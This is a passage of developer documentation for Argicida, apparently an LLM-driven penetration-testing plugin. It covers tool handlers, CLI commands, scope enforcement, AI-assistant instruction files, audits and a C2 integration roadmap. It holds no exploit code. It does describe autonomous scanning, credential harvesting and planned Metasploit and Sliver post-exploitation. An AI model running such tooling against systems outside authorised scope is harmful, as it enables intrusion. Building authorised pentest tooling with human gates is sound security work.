protocol-level failures raise `ProtocolError`:\\n\\n- Connection closed mid-read (incomplete header)\\n- Frame exceeds size limit\\n- HMAC verification failure\\n- Sequence number mismatch\\n- Message timestamp older than 30 seconds\\n- Authentication rejected during handshake\\n\\nTransport-level failures (`BrokenPipeError`, `ConnectionResetError`) are caught by `send_command()`, which resets the client state but lets the exception propagate. The `scan_handler` decorator in `tools/base.py` catches these at the tool dispatch boundary and converts them to error JSON for the LLM.\",\"management-cli\":\"# Management & CLI\\n\\n# Management & CLI\\n\\nArgicida exposes two parallel control surfaces for the same underlying engagement state: **LLM-facing tool handlers** that the agent calls during autonomous pentest sessions, and **operator-facing interfaces** (CLI subcommands and slash commands) for human oversight. Both surfaces share the same `EngagementStore`, `EvidenceChain`, and `PluginState` \u2014 they are different entry points into a single state machine.\\n\\n```mermaid\\ngraph LR\\n    LLM[\\\"LLM Agent\\\"] -->|tool call| MH[\\\"management_handlers.pyartifact_handlers.py\\\"]\\n    OP[\\\"Operator\\\"] -->|hermes argicida ...| CLI[\\\"commands/cli.py\\\"]\\n    OP -->|/scope, /engage, ...| SLASH[\\\"commands/slash.py\\\"]\\n    MH --> STORE[\\\"EngagementStore\\\"]\\n    CLI --> STORE\\n    SLASH --> STORE\\n    MH --> NFT[\\\"nftables(scope propagation)\\\"]\\n    MH --> ZAP[\\\"ZapManager\\\"]\\n```\\n\\n## Handler Factory Pattern\\n\\nEvery tool handler is built by a `make_*_handler()` factory that captures its dependencies via closure arguments rather than importing global state. The factory returns a `Callable[[dict[str, Any]], str]` (synchronous) or an async equivalent. This pattern exists because Hermes tool registration needs plain callables, and the dependencies (`store`, `get_eid`, `get_scope_updater`, etc.) aren't available until `register()` runs.\\n\\n```python\\n# From registration/management_tools.py \u2014 wiring happens once at plugin load\\nhandler = make_scope_define_handler(\\n    store=store,\\n    get_eid=rctx.get_eid,\\n    get_scope_updater=rctx.get_scope_updater,\\n)\\nctx.register_tool(schema=SCOPE_DEFINE_SCHEMA, handler=handler, toolset=\\\"argicida\\\")\\n```\\n\\nAll handlers return `json.dumps(...)` strings on success or `error_json(\\\"message\\\")` on failure. They never raise exceptions to the caller \u2014 every code path is wrapped in a top-level `try/except` that logs and returns an error JSON payload.\\n\\n## LLM-Facing Tool Handlers\\n\\n### management_handlers.py\\n\\n18 management tools, built by factory functions. The key ones:\\n\\n**Engagement lifecycle** \u2014 `make_engagement_create_handler` handles both creation and resume in a single handler. When the named engagement already exists, it binds to it (via `bind_engagement` from `engagement/lifecycle.py`). New engagements get scope validation, asset seeding for host-width CIDRs (`/32`, `/128`), and nftables propagation. The handler operates in two modes:\\n\\n- **Full mode** (with `state`, `chain`, `hermes_home`): session binding, evidence chain seeding, host replay. Used during live agent sessions.\\n- **Lightweight mode** (store only, or store + `set_eid`): creates/resumes without session binding. Used by tests and the query handler.\\n\\n**Scope management** \u2014 `make_scope_define_handler` merges new CIDRs/domains/exclusions with existing scope (via `_merge_unique` \u2014 union preserving order), validates the combined scope, persists it transactionally, propagates to nftables, and seeds assets. The merge behavior means scope is additive \u2014 calling `scope_define` twice with different CIDRs accumulates them.\\n\\n**Engagement queries** \u2014 `make_engagement_query_handler` is a dispatch hub. Simple queries route through a static table:\\n\\n| `query_type` | Repository | Method |\\n|---|---|---|\\n| `hosts` | `findings` | `query_hosts` |\\n| `ports` | `findings` | `query_ports` |\\n| `cves` | `findings` | `query_cves` |\\n| `tools_run` | `findings` | `query_tools_run` |\\n| `credentials` | `credentials` | `get_validated_credentials` |\\n| `principals` | `credentials` | `get_principals` |\\n| `secrets` | `credentials` | `get_secrets` |\\n\\nComplex queries (`findings`, `credential_candidates`, `assets`, `vhost_groups`, `scope`) have dedicated branches with richer parameter handling.\\n\\n**Host management** \u2014 `make_add_host_handler` and `make_remove_host_handler` manage DNS host entries. Adding a host writes an `address=/hostname/ip` line to the gateway's dnsmasq config and restarts dnsmasq via `restart_dnsmasq()`. With `scope_expand=True`, the host's IP is also added to the engagement scope and propagated to nftables. Both handlers update the asset registry.\\n\\n**Triage** \u2014 `make_triage_handler` returns filtered findings and optionally includes coverage gaps from `ServiceSkillRegistry` \u2014 services discovered by scans that haven't been enumerated yet. This drives the LLM's \\\"what should I enumerate next\\\" decision loop.\\n\\n**Briefing** \u2014 `make_briefing_handler` is async (`is_async=True` in Hermes). Delegates to `briefing/generator.py` which uses the plugin's LLM access (`ctx.llm`) to generate a narrative summary of findings.\\n\\n**ZAP tools** \u2014 Seven handlers wrap `ZapManager` methods: `zap_scan` (active scanning with optional authenticated contexts), `zap_alerts` (finding retrieval), `zap_context` (scan context creation), `zap_auth` (credential configuration including candidate testing via `credential_tester.py`), `zap_import` (OpenAPI/GraphQL spec import), `zap_spider` (authenticated crawling via AF plans), and `zap_intel` (Wappalyzer fingerprinting + login form detection). `zap_scan` and `zap_spider` are async and use `asyncio.to_thread` because ZAP's REST API is synchronous.\\n\\n### artifact_handlers.py\\n\\nFive handlers for managing files transferred from the tool container:\\n\\n- **`artifact_save`** \u2014 Copies a file from the container to the host-side artifacts directory via `transfer_from_container`. Validates the source path (absolute, no traversal, no null bytes) and prefix. Uses `O_CREAT | O_EXCL | O_NOFOLLOW` for collision-safe writes with automatic `-1`, `-2` suffixing.\\n- **`artifact_list`** \u2014 Lists files in the artifacts directory with sizes. Skips dotfiles, symlinks, and directories.\\n- **`artifact_read`** \u2014 Reads small text artifacts (\u226464 KiB) for LLM consumption. Rejects binary files, symlinks, and anything that escapes the artifacts directory.\\n- **`screenshot`** \u2014 Uses a custom nuclei template (`argicida/screenshot.yaml`) to capture a webpage screenshot, transfers the PNG from the container, and optionally runs vision analysis via `_analyze_screenshot`. The analysis uses `llm.acomplete_structured()` with a fixed JSON schema to extract application type, visible technologies, login form details, and security observations from the downscaled image.\\n\\nThe screenshot handler enforces scope on the target URL's hostname before dispatching the nuclei template. Filenames are derived from the URL with `_url_to_safe_filename` \u2014 either `{host}-{label}.png` (with explicit label) or `{host}-{sanitized_path}.png`.\\n\\n## Operator-Facing Interfaces\\n\\n### CLI Subcommands (`hermes argicida ...`)\\n\\n`setup_argicida_cli` registers the argument parser tree; `dispatch_argicida_cli` routes to dispatch functions. Entry point is `registration/commands.py` which calls both during plugin registration.\\n\\n| Subcommand | Purpose |\\n|---|---|\\n| `engagement list` | List all engagements with phase and creation time |\\n| `engagement resume ` | Bind to an existing engagement (creates synthetic CLI session) |\\n| `engagement unlock ` | Force-unlock a stuck engagement |\\n| `engagement create ` | Create engagement from a single IP/CIDR/domain |\\n| `scope ` | Display engagement scope |\\n| `findings  [--level]` | List findings with optional triage filter |\\n| `evidence verify ` | Verify evidence chain integrity |\\n| `pod start [--tool-image] [--gateway-image] [--zap-image] [--vpn-mode]` | Launch tool pod |\\n| `pod stop` | Tear down pod and topology |\\n| `pod status` | Show pod state |\\n| `build-image --tool/--gateway/--all` | Build container images via `pod/builder.py` |\\n| `update-data` | Download EPSS and KEV scoring data |\\n\\n`engagement create` uses `classify_scope_args` from `argicida_common` to auto-detect whether the target is an IP/CIDR or domain, then creates the engagement and binds via `EngagementSession.bind()` with a synthetic `cli-{uuid}` session ID.\\n\\n### Slash Commands (in-session)\\n\\nSix slash commands register via `ctx.register_command()` during plugin registration. These fire during a live agent conversation \u2014 the operator types them at the Hermes prompt.\\n\\n| Command | Handler factory | Behavior |\\n|---|---|---|\\n| `/scope` | `make_scope_handler` | Displays current engagement scope |\\n| `/triage` | `make_triage_handler` | Shows finding counts by triage level |\\n| `/approve-gate` | `make_approve_handler` | Signs evidence chain, approves HUMAN_GATE phase |\\n| `/briefing` | `make_briefing_slash` | Async \u2014 generates LLM narrative briefing |\\n| `/trace ` | `make_trace_handler` | Dispatches `argicida_tracepath` via `ctx.dispatch_tool()` |\\n| `/engage ` | `make_engage_handler` | Full engagement lifecycle: `new`, `resume`, `list`, `close`, `status`, `rename` |\\n\\nThe `/engage` handler is the most complex \u2014 it's a mini CLI within the slash command, handling engagement creation with scope parsing, resume with lock handling, and close with `unbind_engagement`. The `/approve-gate` handler only operates when the engagement is in `HUMAN_GATE` phase, and its primary action is signing the evidence chain with the operator's Ed25519 key.\\n\\n### Formatting\\n\\n`format_engagement_summary` in `commands/formatting.py` is shared between CLI (`_dispatch_scope`) and slash commands (`/scope`, `/engage status`). It renders engagement ID, phase, CIDRs, domains, and exclusions as a plain-text block.\\n\\n## Scope Propagation\\n\\nWhen scope changes (via `engagement_create`, `scope_define`, or `add_host` with `scope_expand`), the handler calls `_propagate_scope`. This invokes the `scope_updater` callback \u2014 set during registration to `PodSession.update_scope()` \u2014 which rebuilds the gateway's nftables FORWARD chain rules. If propagation fails, the scope is still persisted to the database, but the handler returns an `nftables_warning` field in the response. This is a deliberate design choice: scope state in the DB is authoritative, nftables enforcement is best-effort with visible warnings.\\n\\n## Data Downloads\\n\\n`download_epss_kev` in `commands/update_data.py` fetches EPSS scores (gzipped CSV from `epss.empiricalsecurity.com`) and KEV catalog (JSON from `cisa.gov`), validates their structure, and writes them atomically via `_atomic_write` (temp file + rename). Both files land in `$HERMES_HOME/argicida/data/` and are loaded by the triage system at session start for finding enrichment.\\n\\n## Adding a New Management Tool\\n\\n1. Write a `make_*_handler()` factory in `management_handlers.py` (or `artifact_handlers.py` for file-related tools).\\n2. Define the OpenAI-format schema in `tools/schemas.py`.\\n3. Wire the handler in `registration/management_tools.py` via `ctx.register_tool()`.\\n4. If the tool needs an active engagement, use `_require_eid(get_eid)` at the top of the handler.\\n5. If the tool modifies scope, call `_propagate_scope` and `_seed_host_assets`.\",\"other-claude-md\":\"# Other \u2014 CLAUDE.md\\n\\n# CLAUDE.md \u2014 AI-Assisted Development Configuration\\n\\n## Purpose\\n\\n`CLAUDE.md` is the project-level instruction file for [Claude Code](https://claude.ai/code), Anthropic's AI coding assistant. It serves as machine-readable developer documentation that shapes how Claude Code understands, navigates, and modifies the Argicida codebase. Every Claude Code session in this repository loads `CLAUDE.md` into its system context automatically.\\n\\nThis is not documentation for humans to read casually \u2014 it is a **binding contract** between the project and an AI agent. Every statement in it constrains Claude Code's behavior: what commands to run, what patterns to follow, what invariants to preserve, and what mistakes to avoid. Inaccurate or stale content directly causes incorrect code generation.\\n\\n## How It Works\\n\\nWhen Claude Code opens a session rooted at `/mnt/wsl_data/Projects/Argicida/`, it reads `CLAUDE.md` from the project root and injects its full content into the system prompt. This happens before any user interaction. The file's contents become persistent instructions that Claude Code follows for every action in that session \u2014 file edits, tool calls, code generation, test execution, and commit preparation.\\n\\nClaude Code also loads a second layer of instructions from the user's global `~/.claude/CLAUDE.md`, which contains cross-project rules (TDD, PEP 8, conventional commits, `uv` usage). The project-level file supplements these with Argicida-specific constraints.\\n\\n```mermaid\\ngraph TD\\n    A[\\\"~/.claude/CLAUDE.md(global rules)\\\"] --> C[\\\"Claude CodeSystem Prompt\\\"]\\n    B[\\\"./CLAUDE.md(project rules)\\\"] --> C\\n    D[\\\"~/.claude/projects/...memory[\\\"/memory/\\\"](persistent memory)\\\"] --> C\\n    C --> E[\\\"Every Claude Code actionin this session\\\"]\\n```\\n\\n## Structure and Sections\\n\\nThe file is organized into sections that map to different categories of development activity.\\n\\n### Commands\\n\\nA runnable command reference for every development task: dependency management (`uv sync`, `uv run`), linting (`ruff check`, `ruff format`), type checking (`mypy`), security scanning (`bandit`), testing at all three tiers (`pytest`, `pytest -m pod_integration`, `pytest -m e2e`), and container builds (`podman build`). These are the canonical invocations \u2014 Claude Code uses them verbatim rather than guessing at flags or paths.\\n\\n### Architecture\\n\\nThe largest section. Documents the system's structure in enough detail that Claude Code can make informed decisions about where to place new code, how subsystems interact, and what invariants to preserve. Key subsections:\\n\\n- **Three workspace packages** (`argicida`, `argicida_agent`, `argicida_common`) and their dependency relationships\\n- **Flexible-args tool model** with the 6 manual-target exceptions and their specific behaviors\\n- **Tool definition registry** (`tools/defs/.py`) and the discovery-based registration pattern\\n- **Scope guard** value flag classification (value-flag values, target-flag values, positional args)\\n- **Pod lifecycle** with dual-bridge topology, `PodSession` ownership semantics, and `cleanup_topology_by_name` as the single cleanup path\\n- **IPC file permission model** with three filesystem zones (`ipc_dir`, `scope_dir`, host-only dirs) and their distinct ownership rules\\n- **Argument normalizers** per tool, including `NseScriptMatcher`, `FlagValueGuard`, `RedisQueryNormalizer`\\n- **Asset registry** with the coverage state machine\\n- **ZAP subsystem** five-layer architecture\\n\\nEach of these subsections exists because Claude Code has previously made mistakes in that area. The detail level is calibrated to prevent specific classes of errors, not to be exhaustive for its own sake.\\n\\n### Security Rules\\n\\nHard constraints that Claude Code must never violate. These are not guidelines \u2014 they are invariants:\\n\\n| Rule | Prevents |\\n|------|----------|\\n| No `shell=True` or `create_subprocess_shell` | Command injection via shell metacharacters |\\n| No `pydantic.model_construct()` on untrusted data | Validation bypass |\\n| msgspec decode from wire format only | Construction-time validation bypass |\\n| `ipaddress.ip_network()` for all CIDR/IP input | nftables injection, malformed scope rules |\\n| `# nosec` requires explanation | Silent security suppression |\\n| `# type: ignore` requires error code + comment | Silent type-safety erosion |\\n| Restrictive file permissions with `O_NOFOLLOW` | Symlink attacks on SQLite databases |\\n\\n### Validation Rules\\n\\nRules about what constitutes \\\"done\\\" and how to verify work:\\n\\n- Container behavior requires full topology testing, not standalone `podman run`\\n- Features require E2E tests through real infrastructure, not just mocked unit tests\\n- The three-tier test architecture (unit \u2192 pod integration \u2192 E2E) and what each tier proves\\n- Integration tests use real Hermes `PluginManager`/`PluginContext`, not fakes\\n- Hooks don't fire during `registry.dispatch()` \u2014 must be tested via `pm.invoke_hook()`\\n\\n### Hermes Conventions\\n\\nIntegration rules for the host framework. These prevent Claude Code from reimplementing patterns that Hermes already provides:\\n\\n- `is_async=True` for async tool handlers (uses Hermes's `_run_async()`)\\n- Hooks must be synchronous `def`, not `async def`\\n- `ctx.llm` for LLM calls (not direct API clients)\\n- `ctx.dispatch_tool()` for tool invocation from slash commands\\n- `pre_llm_call` for context injection (not system prompt mutation)\\n\\n### Skill Context Architecture\\n\\nDocuments the three-tier progressive-disclosure system that manages what the LLM sees during a pentest session. This section exists because the relationship between tool schemas, `skill_view()` references, and sub-skill frontmatter `name:` fields is fragile \u2014 renaming a skill's `name:` field without updating `schemas.py` silently breaks the loading chain.\\n\\n### GitNexus Section\\n\\nAppended between `` and `` markers. Contains instructions for using the GitNexus code intelligence MCP tools (impact analysis, change detection, code queries). This section is managed by GitNexus tooling and should not be manually edited outside the markers.\\n\\n## Maintenance\\n\\n### When to Update\\n\\nUpdate `CLAUDE.md` when:\\n\\n- A new tool is added (update the tool count in Current Status, add normalizer docs if non-trivial)\\n- A new hook, slash command, or subsystem is introduced\\n- An architectural pattern changes (e.g., the migration from shared-namespace to dual-bridge topology)\\n- Claude Code makes a recurring mistake that a CLAUDE.md rule would prevent\\n- A Hermes convention changes upstream\\n- Test counts change significantly\\n\\n### What Not to Put Here\\n\\n- Transient project status (use `docs/` or git history)\\n- Step-by-step tutorials (the audience is an AI agent, not a human learner)\\n- Aspirational architecture (document what exists, not what's planned)\\n- Duplicate information already in code comments or docstrings\\n\\n### Relationship to Other Instruction Files\\n\\n| File | Scope | Loaded by |\\n|------|-------|-----------|\\n| `~/.claude/CLAUDE.md` | All projects for this user | Claude Code (global) |\\n| `./CLAUDE.md` | This project only | Claude Code (project) |\\n| `~/.claude/projects/.../memory/` | Persistent cross-session memory | Claude Code (memory system) |\\n| `profile/SOUL.md` | LLM persona during pentest sessions | Hermes agent loop |\\n| `profile/skills/security/` | LLM technique skills | Hermes skill system |\\n\\n`CLAUDE.md` instructs the *developer's AI assistant*. `SOUL.md` and skills instruct the *pentest agent LLM*. These are separate systems with separate audiences \u2014 do not conflate them.\\n\\n### The Detail Calibration Principle\\n\\nEvery paragraph in `CLAUDE.md` exists because its absence caused a concrete failure. The IPC file permission model section exists because Claude Code used `0o600` on host-written IPC files, causing `Permission denied` inside containers. The `value_flags` section exists because missing entries caused legitimate flag values to be rejected as out-of-scope targets. The `PodSession` ownership section exists because cleanup code was written that didn't use `cleanup_topology_by_name`, leaving orphaned resources.\\n\\nWhen adding new content, include enough detail to prevent the specific failure mode, and no more.\",\"other-docs-archive\":\"# Other \u2014 docs-archive\\n\\n# docs/archive \u2014 Historical Design & Audit Records\\n\\nThis directory preserves the planning documents, infrastructure audits, and refactor plans that shaped Argicida's current architecture. Everything here is **frozen history** \u2014 the work described has either been completed or explicitly deferred. These documents are not living specifications; the codebase is the source of truth.\\n\\n## Why This Archive Exists\\n\\nArgicida was built at high velocity (607 commits in 14 days) and underwent two major architectural pivots: the deletion of the pipeline engine in favor of LLM-driven tool dispatch (2026-07-02), and a comprehensive source-driven refactor (2026-07-13/14). The archive captures the reasoning behind those decisions so future contributors can understand *why* the code looks the way it does without re-discovering the same failure modes.\\n\\n## Documents\\n\\n### NOTES.md\\n\\nEarly-stage design research from before implementation began. Covers:\\n\\n- **Container strategy** \u2014 Kali Linux base image with layered Go binaries, capability separation between gateway (CAP_NET_ADMIN) and tool container (CAP_NET_RAW), rootless Podman viability\\n- **Pod architecture** \u2014 VPN sidecar design, ZAP proxy integration, dual-layer scope enforcement (nftables + command validation), Unix socket IPC hardening\\n- **HTB as development targets** \u2014 rationale for using HackTheBox labs, networking constraints, blind spots requiring supplemental targets\\n- **Phase 1 retrospective** \u2014 what changed from original design (rootless Podman worked, gateway reframed from VPN sidecar to mandatory scope enforcer, nftables moved from host-side nsenter to gateway container)\\n\\nMost design decisions from NOTES.md were implemented. The pod layout diagram remains a reasonable high-level reference for the dual-bridge topology, though specifics (shared namespace vs. separate networks, ZAP as sidecar vs. standalone container) evolved during implementation.\\n\\n### AUDIT-2026-07-14.md\\n\\nInfrastructure audit that identified why live pentest sessions were failing. Six parallel audit agents covered autonomy loops, schema-behavior alignment, parser service population, SOUL.md contradictions, normalizer error recovery, and methodology-skill consistency.\\n\\n**27 findings total:** 5 critical, 12 high, 10 medium.\\n\\nThe five critical findings explained session failures:\\n1. Stale `_in_flight_delegations` creating permanent deadlocks (C1)\\n2. SOUL.md chaining/delegation contradiction causing model oscillation (C2)\\n3. Opaque \\\"Blocked\\\" error envelopes hiding rejection reasons (C3)\\n4. `_resolve_service_name` returning \\\"unknown\\\" and suppressing coverage gaps (C4)\\n5. NSE blocked-script rejections giving no alternative guidance (C5)\\n\\nAll critical and high findings were addressed in the refactor work that followed. The audit is useful for understanding the failure modes that the current error-handling, normalizer guidance, and coverage gap detection were designed to prevent.\\n\\n### REFACTOR-PLAN.md\\n\\nComprehensive refactor plan synthesizing five audits (git history, architecture, Hermes integration, prompt engineering, code quality). Contains:\\n\\n- **Root cause analysis** \u2014 maps all findings to six root causes: reactive development, documentation drift, god objects, unmanaged module-global state, triplicated classification lists, trial-and-error prompt tuning\\n- **Architecture redesign** \u2014 EngagementStore split into sub-repos, `register()` decomposition into typed phases, normalizer/context module splits, DRY consolidation\\n- **Prompt engineering overhaul** \u2014 SOUL.md restructuring, methodology skill rewrite, schema fixes, context injection changes\\n- **Implementation phases** \u2014 7 phases with completion criteria\\n\\nAll phases through Phase 6 were completed. Phase 7 (offline evaluation harness) was partially completed \u2014 consistency tests were added but session replay fixtures were deferred.\\n\\n### REFACTOR-PLAN-v2.md\\n\\nSource-driven companion to REFACTOR-PLAN.md. Every recommendation traces from an authoritative source (Anthropic tool design docs, Hermes plugin docs, PEP 8) to a specific code location. Contains 19 numbered findings across five categories:\\n\\n1. **Anthropic tool design violations** (10 findings) \u2014 schema enum blocking implemented query types, terse descriptions, methodology contradicting auto-injection\\n2. **Context engineering violations** (6 findings) \u2014 oversized subagent injection, stale delegation state, missing management tool reference\\n3. **Prompt engineering violations** (2 findings) \u2014 aggressive trigger language, content duplication\\n4. **Hermes integration violations** (5 findings) \u2014 internal module imports, kwargs parameter names, defensive getattr\\n5. **Architecture violations** (6 findings) \u2014 god classes, circular dependencies, triplicated lists\\n\\nAll phases marked COMPLETE with commit references. Remaining work items (context.py split, session replay fixtures, scope guard messages, hook ordering tests, normalizer split) were subsequently completed on 2026-07-14.\\n\\n## How to Use These Documents\\n\\n**When debugging session behavior:** Check AUDIT-2026-07-14.md for whether the failure mode was previously identified. The finding IDs (C1\u2013C5, H1\u2013H12, M1\u2013M10) are referenced in commit messages and test docstrings.\\n\\n**When understanding architectural decisions:** The root cause analysis in REFACTOR-PLAN.md section 2 explains why `EngagementStore` was split, why `register()` was decomposed, and why tool classification is derived from definitions rather than maintained as separate frozensets.\\n\\n**When modifying LLM-facing content:** REFACTOR-PLAN-v2.md section 1 documents the Anthropic tool design principles that govern schema descriptions, error messages, and skill references. The anti-pattern checklist in REFACTOR-PLAN.md section 8 lists what to verify on every change.\\n\\n**When adding new tools:** The code review checklist in REFACTOR-PLAN.md section 9 specifies what to verify \u2014 schema/normalizer alignment, tool classification, handler branch coverage, and skill reference consistency.\\n\\nDo **not** treat these documents as current specifications. If a document says \\\"the handler accepts X\\\" or \\\"the schema restricts to Y,\\\" verify against the current code \u2014 the refactor changed many of the interfaces described here.\",\"other-docs-research\":\"# Other \u2014 docs-research\\n\\n# Research Documents \u2014 `docs/research/`\\n\\nResearch artifacts that ground Argicida's architecture in empirical evidence rather than assumption. Each document was produced by multi-agent adversarial research workflows (25\u2013111 agents, 500\u20132200 tool calls) with explicit claim verification \u2014 findings carry vote counts and confidence levels, not opinion.\\n\\nThese are **decision records**, not living documentation. They capture what was true at research time and what architectural choices followed. The codebase may have evolved past some recommendations; when in doubt, the code is authoritative.\\n\\n## Why This Exists\\n\\nArgicida makes non-obvious architectural choices \u2014 no hardcoded scan pipeline, LLM as tool selector not executor, deterministic triage over LLM judgment, dual-bridge pod topology. Every major choice traces back to a verified finding in one of these documents. A developer encountering \\\"why doesn't the LLM pick exploits?\\\" or \\\"why not just use PTES phases as a pipeline?\\\" will find the empirical answer here.\\n\\n## Documents\\n\\n### `2026-07-02-offensive-security-research.md`\\n\\nThe foundational document. Established two principles that shaped every subsequent design decision:\\n\\n1. **Pentesting is not a pipeline.** Seven verified findings (8-0 to 15-0 adversarial votes) demonstrate that methodology standards are incompatible with each other, rarely fully implemented in practice, and explicitly described as guidelines by their own authors. This is why Argicida has no `ReconPhase \u2192 ExploitPhase \u2192 ReportPhase` pipeline \u2014 the LLM selects tools based on what it observes, not a predetermined sequence.\\n\\n2. **LLMs fail at decisions, succeed at perception.** Quantified from 8 academic sources (PentestGPT, CAI, CheckMate, PentestEval, VulnBot): attack decision-making scored 0.25 average, exploit revision scored 0.60, context overflow caused 42% of failures. This directly produced the architecture where the LLM interprets tool output and correlates findings (perception) but deterministic systems handle triage (EPSS+KEV scoring) and the operator handles exploitation decisions (HUMAN_GATE).\\n\\nThe CheckMate pattern (deterministic planning + LLM perception + human gates) validated Argicida's hybrid approach at 88% success rate, 53% lower cost than pure-LLM agents.\\n\\n**Four claims were refuted** and are documented as such \u2014 the document does not hide negative results.\\n\\n### `2026-07-04-hermes-configuration-deep-dive.md`\\n\\nComprehensive audit of 100+ Hermes Agent extension points, classified into four buckets:\\n\\n| Bucket | Count | Purpose |\\n|--------|-------|---------|\\n| Already in use | 30 | Confirms correct integration patterns |\\n| Should adopt | 25 | Actionable improvements with priority and effort |\\n| Not relevant | 35 | Explicitly ruled out with reasoning |\\n| Needs investigation | 12 | Open questions requiring hands-on testing |\\n\\nThe \\\"should adopt\\\" section is a prioritized backlog. Items marked **trivial** are config-only changes to `profile/config.yaml`. Notable high-priority items:\\n\\n- **`tool_loop_guardrails`** \u2014 circuit breaker for autonomous scanning (prevents burning 150-turn budget on a timing-out nmap)\\n- **`skills.write_approval`** \u2014 defense against prompt injection via adversarial scan output modifying methodology skills\\n- **Holographic memory** \u2014 cross-engagement intelligence via local SQLite FTS5 (works air-gapped)\\n\\nThe `check_fn` entry contains a post-hoc addendum marking it **NOT VIABLE** after live testing caused infinite loops \u2014 an example of the document being updated when reality contradicted the research.\\n\\nSection 3 (\\\"Not Relevant\\\") is worth reading when someone proposes adopting a Hermes feature \u2014 it may already be evaluated and rejected with reasoning.\\n\\n### `2026-07-10-c2-integration-strategy.md`\\n\\nArchitecture for exploitation and post-exploitation phases. Key decisions:\\n\\n- **Metasploit for exploitation** (2,300+ exploit modules, `db.analyze` for machine-ranked suggestions from imported Argicida findings)\\n- **Sliver for post-exploitation** (single binary, gRPC API, no Docker dependency, credential database)\\n- **Mythic excluded** from programmatic integration (verified Docker host networking dependency)\\n- **Existing Python clients all abandoned** \u2014 custom thin clients required\\n\\nThe critical architectural insight: **the C2 framework is the shared environment, not Argicida.** Argicida feeds intelligence in and reads state out. The LLM is an intelligence analyst sitting beside the operator, not a C2 operator. This prevents scope creep into reimplementing implant frameworks, shell managers, or SOCKS proxies.\\n\\nThe phased roadmap (Phase 0\u20135, 18\u201325 weeks total) starts with a read-only Metasploit bridge as minimum viable integration. Phase 0 (approval framework) is a prerequisite for all C2 work.\\n\\n## How Research Feeds Into Code\\n\\n```mermaid\\ngraph TD\\n    A[offensive-security-research] -->|no pipeline| B[LLM-driven tool selection]\\n    A -->|LLM fails at decisions| C[deterministic EPSS+KEV triage]\\n    A -->|LLM succeeds at perception| D[OCSF normalization + perceptor]\\n    A -->|human gates| E[HUMAN_GATE + /approve-gate]\\n    F[hermes-config-deep-dive] -->|config wins| G[profile/config.yaml]\\n    F -->|skill frontmatter| H[profile/skills/security/]\\n    I[c2-integration-strategy] -->|future| J[src/argicida/argicida/c2/]\\n    I -->|approval framework| K[ToolRiskLevel + /review]\\n```\\n\\n| Finding | Where it landed in code |\\n|---------|------------------------|\\n| No hardcoded pipeline | `register()` delegates to Hermes agent loop; no phase sequencing |\\n| Deterministic triage over LLM judgment | `triage.py` uses EPSS+KEV+CWE scoring |\\n| LLM as perceptor, not decider | `hooks/ocsf_normalizer.py` with `llm.complete_structured()` fallback |\\n| CheckMate hybrid pattern | HUMAN_GATE in engagement lifecycle |\\n| `tool_loop_guardrails` | `profile/config.yaml` (config-only) |\\n| `skills.write_approval` | `profile/config.yaml` (config-only) |\\n| C2 role separation | Not yet implemented; roadmap in the document |\\n\\n## Research Methodology\\n\\nAll three documents used multi-agent adversarial workflows:\\n\\n1. **Parallel research agents** read source material (academic papers, official docs, API references, industry reports)\\n2. **Claim extraction** \u2014 factual claims isolated from prose\\n3. **Adversarial verification** \u2014 independent agents attempt to refute each claim, voting on confidence\\n4. **Synthesis** \u2014 surviving claims assembled into architectural recommendations\\n\\nVote counts (e.g., \\\"13-1 vote\\\") represent verifier consensus. A claim that fails verification is documented as **refuted** with reasoning, not silently dropped.\\n\\n## Using These Documents\\n\\n**When proposing a new architecture pattern:** Check whether the research already evaluated it. The offensive-security doc covers methodology choices; the Hermes doc covers framework features; the C2 doc covers exploitation integration.\\n\\n**When questioning an existing design choice:** Trace it back to a verified finding. If the finding's source material has been superseded (new paper, new framework version), the choice may warrant revisiting \u2014 but update the research document first.\\n\\n**When the document contradicts current code:** The code wins. Update the document to note the divergence and why. The `check_fn` addendum in the Hermes doc is the model for this.\\n\\n**Do not treat these as implementation specs.** They inform constraints and trade-offs. Implementation details live in `docs/specs/` (active specs) and `CLAUDE.md` (conventions). The C2 roadmap phases are a rough plan, not a committed schedule.\",\"other-docs-rfe\":\"# Other \u2014 docs-rfe\\n\\n# RFE Directory \u2014 Design Decision Records\\n\\n`docs/rfe/` holds Request for Enhancement documents that capture the reasoning, alternatives analysis, and implementation scope for significant architectural changes to Argicida. Each RFE is a self-contained decision record: it states the problem, evaluates options, records what was chosen and why, and tracks implementation status.\\n\\nThese are not meeting notes or feature requests. An RFE is written **before** implementation begins and updated as work progresses. It serves two audiences: the implementer (who needs precise constraints and interface contracts) and the future maintainer (who needs to understand why the system looks the way it does).\\n\\n## Document Lifecycle\\n\\n```\\nDraft \u2192 Implementing \u2192 Implemented \u2192 Verified\\n                                        \u2191\\n                                  status updated when\\n                                  E2E tests confirm behavior\\n```\\n\\nEach document carries a status header:\\n\\n| Status | Meaning |\\n|--------|---------|\\n| **Draft** | Design proposed, not yet approved or started |\\n| **Implementing** | Active development underway |\\n| **Implemented** | Code merged, may lack full verification |\\n| **Verified** | Confirmed working via pod integration or E2E tests, with verification date |\\n\\nThe `Verified` status includes a date (e.g., `Verified: 2026-07-24`) so readers can judge staleness. An RFE verified six months ago against a codebase that has since changed warrants re-checking.\\n\\n## Document Structure\\n\\nRFEs follow a consistent structure, though sections vary by scope:\\n\\n- **Problem** \u2014 what is broken or missing, with concrete evidence (scan results, test failures, architectural gaps). No vague \\\"it would be nice if.\\\"\\n- **Current State** \u2014 what exists today, verified against the live codebase at the time of writing. Includes tables of implemented vs. missing capabilities.\\n- **Proposed Solution** \u2014 one or more options, each with architecture diagrams, code sketches, and compatibility analysis. The recommended option is marked explicitly.\\n- **Podman Compatibility / Design Constraints** \u2014 Argicida runs in rootless Podman pods with specific filesystem permission models, UID namespace shifting, and network topology constraints. Every RFE must address how the proposed change interacts with these.\\n- **Implementation Scope** \u2014 ordered list of work items with file paths. Items are checked off as they land.\\n- **Open Questions** \u2014 numbered, with resolution status. Resolved questions retain their original text plus the answer \u2014 they are not deleted.\\n\\n## Current Documents\\n\\n### `2026-07-11-zap-proxy-web-scanning.md`\\n\\n**Status:** Implemented, verified 2026-07-24\\n\\nDefines the ZAP sidecar architecture \u2014 how ZAP runs as a container within the Argicida pod, intercepts web tool traffic via auto-injected proxy flags, runs passive analysis on every HTTP response, and provides on-demand active scanning through the `zap_scan` management tool.\\n\\nKey decisions recorded here:\\n\\n- **Option A selected** (ZAP as passive MITM proxy + on-demand active scanner) over three alternatives: proxify in front of ZAP (Option B, deferred), proxify standalone (Option C, rejected), mitmproxy (Option D, rejected).\\n- **CA certificate distribution** via `scope_dir` (not `ipc_dir`) because U/chown mount 